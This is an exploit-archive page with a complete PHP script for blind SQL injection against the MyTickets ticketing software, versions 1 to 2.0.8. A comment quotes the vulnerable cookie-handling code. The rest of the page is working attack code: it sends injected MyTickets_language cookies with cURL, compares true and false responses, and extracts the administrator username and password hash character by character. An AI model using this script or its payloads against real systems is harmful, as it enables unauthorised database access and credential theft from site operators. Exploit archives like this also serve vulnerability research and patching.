[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MyTickets 1 to 2.0.8 Blind SQL Injection
# Published : 2012-06-18
# Author :
# Previous Title : Agora Project 2.13.1 Multiple Vulnerabilities
# Next Title : Huawei HG866 Authentication Bypass


<?php
/*
  ---------------------------------------------------------------
  MyTickets <=  Remote Blind SQL Injection Exploit by al-swisre
  ---------------------------------------------------------------

  author...............: al-swisre
  mail.................: oy3[at]hotmail[dot]com
  software link........: http://phpx3.com/scripts.html#mytickets
  affected versions....: from 1 to 2.0.8


  [-] Vulnerable code in include/system/general/define.php:

  43.    if(empty($cookies['language'])){
  44.             setcookie('MyTickets_language',$setting['default_language'],time()+86400,"/");
  45.             $language	= $setting['default_language'];
  46.     }else{
  47.          	if($db->count('languages',"`id`='".$cookies['language']."'") == 0){
  48.                    $language	= $setting['default_language'];
  49.              	}
  50.          	$language	= $cookies['language'];
  52.      }
  52.
  53.      $language_array	= $db->fetch($db->query("SELECT * FROM `languages` WHERE `id`='".$language."'"));


*/


print "n+--------------------------------------------------------------------+";
print "n| MyTickets <= Remote Blind SQL Injection Exploit by al-swisre       |";
print "n+--------------------------------------------------------------------+n";


if (!extension_loaded('curl')) die("cURL extension requiredn");
error_reporting(E_ERROR);
set_time_limit(0);


function get($url,$inj)
{

			$curl =	curl_init();
			curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,3);
			curl_setopt($curl,CURLOPT_URL,$url);
            curl_setopt($curl, CURLOPT_COOKIE, "MyTickets_language=1$inj");
            curl_setopt($curl, CURLOPT_HEADER, 1);
            curl_setopt($curl, CURLOPT_VERBOSE, 0);
			$calis = curl_exec($curl);
			@curl_close($calis);
            return $calis;


}

function chek_get($connect)
{

         if(eregi("include",$connect))
          {
            return false;
          }
          else
          {
            return true;
          }

}


if ($argc < 2)
{
            print "nUsage......: php $argv[0] <url>n";
            print "nExample....: php $argv[0] http://localhost/mytickets/";
            print "nExample....: php $argv[0] http://localhost/mytickets/n";
            die();
}

$sql_f = chek_get(get($argv[1],"' and 1='2 /*"));
$sql_t = chek_get(get($argv[1],"' and 1='1 /*"));


if($sql_t == $sql_f)
{

          print "nt sorry: magic_quotes_gpc = On ): n";
          die();
}

print "nt[+] Getting Admin Username and Passwordnnt";



for ($g = 1; $g <= 40; $g++) {  //eidt
for ($i = 46; $i <= 122; $i++) {

       $inject = chek_get(get($argv[1],"'+AnD+ascii(MiD((sElect+concat_ws(0x3a,username,password)+frOm+members+liMit 0,1),".$g.",1))='".$i."/*"));

       if($inject == true){print  chr($i);}
}
}




?>